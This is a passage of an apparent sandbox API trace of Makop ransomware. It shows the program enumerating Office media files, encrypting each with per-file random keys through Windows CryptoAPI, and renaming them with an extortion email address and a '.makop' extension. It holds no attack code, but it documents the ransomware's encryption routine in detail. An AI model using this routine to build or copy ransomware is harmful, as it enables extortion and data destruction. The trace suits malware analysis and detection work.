1 [0166.721] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.721] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.721] GetProcessHeap () returned 0x48a0000 [0166.721] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.721] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.721] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.721] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.721] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.721] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.722] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.722] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.722] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.722] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.722] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.722] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.722] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xac8, lpOverlapped=0x0) returned 1 [0166.722] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xad0, dwBufLen=0xad0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xad0) returned 1 [0166.722] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.723] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xad0, lpOverlapped=0x0) returned 1 [0166.723] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.723] SetEndOfFile (hFile=0x130) returned 1 [0166.728] GetProcessHeap () returned 0x48a0000 [0166.729] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.729] GetProcessHeap () returned 0x48a0000 [0166.729] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.729] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.731] CloseHandle (hObject=0x130) returned 1 [0166.731] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0166.731] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF") returned 70 [0166.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.733] GetProcessHeap () returned 0x48a0000 [0166.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.734] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.734] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.737] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.737] GetProcessHeap () returned 0x48a0000 [0166.737] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.737] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.737] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.738] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.738] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.738] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.738] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.738] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.739] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.739] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x822, lpOverlapped=0x0) returned 1 [0166.739] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x830) returned 1 [0166.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.739] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x830, lpOverlapped=0x0) returned 1 [0166.739] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.739] SetEndOfFile (hFile=0x130) returned 1 [0166.745] GetProcessHeap () returned 0x48a0000 [0166.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.745] GetProcessHeap () returned 0x48a0000 [0166.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.745] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.747] CloseHandle (hObject=0x130) returned 1 [0166.747] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0166.747] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF") returned 70 [0166.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.748] GetProcessHeap () returned 0x48a0000 [0166.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.748] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.749] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.752] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.752] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.752] GetProcessHeap () returned 0x48a0000 [0166.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.753] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.753] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.753] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.753] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.753] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.753] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.754] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.754] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.754] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.754] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x822, lpOverlapped=0x0) returned 1 [0166.754] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x830) returned 1 [0166.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.754] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x830, lpOverlapped=0x0) returned 1 [0166.754] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.755] SetEndOfFile (hFile=0x130) returned 1 [0166.760] GetProcessHeap () returned 0x48a0000 [0166.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.760] GetProcessHeap () returned 0x48a0000 [0166.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.760] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.762] CloseHandle (hObject=0x130) returned 1 [0166.762] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0166.763] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF") returned 70 [0166.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.764] GetProcessHeap () returned 0x48a0000 [0166.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.764] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.764] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.767] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.767] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.767] GetProcessHeap () returned 0x48a0000 [0166.768] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.768] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.768] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.768] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.768] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.768] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.768] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.769] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.769] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.769] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6ec, lpOverlapped=0x0) returned 1 [0166.769] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6f0) returned 1 [0166.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.769] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6f0, lpOverlapped=0x0) returned 1 [0166.770] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.770] SetEndOfFile (hFile=0x130) returned 1 [0166.775] GetProcessHeap () returned 0x48a0000 [0166.775] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.775] GetProcessHeap () returned 0x48a0000 [0166.775] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.775] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.777] CloseHandle (hObject=0x130) returned 1 [0166.777] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0166.777] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF") returned 70 [0166.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.778] GetProcessHeap () returned 0x48a0000 [0166.778] RtlAllocateHeap (HeapHandle=0x48a0000, 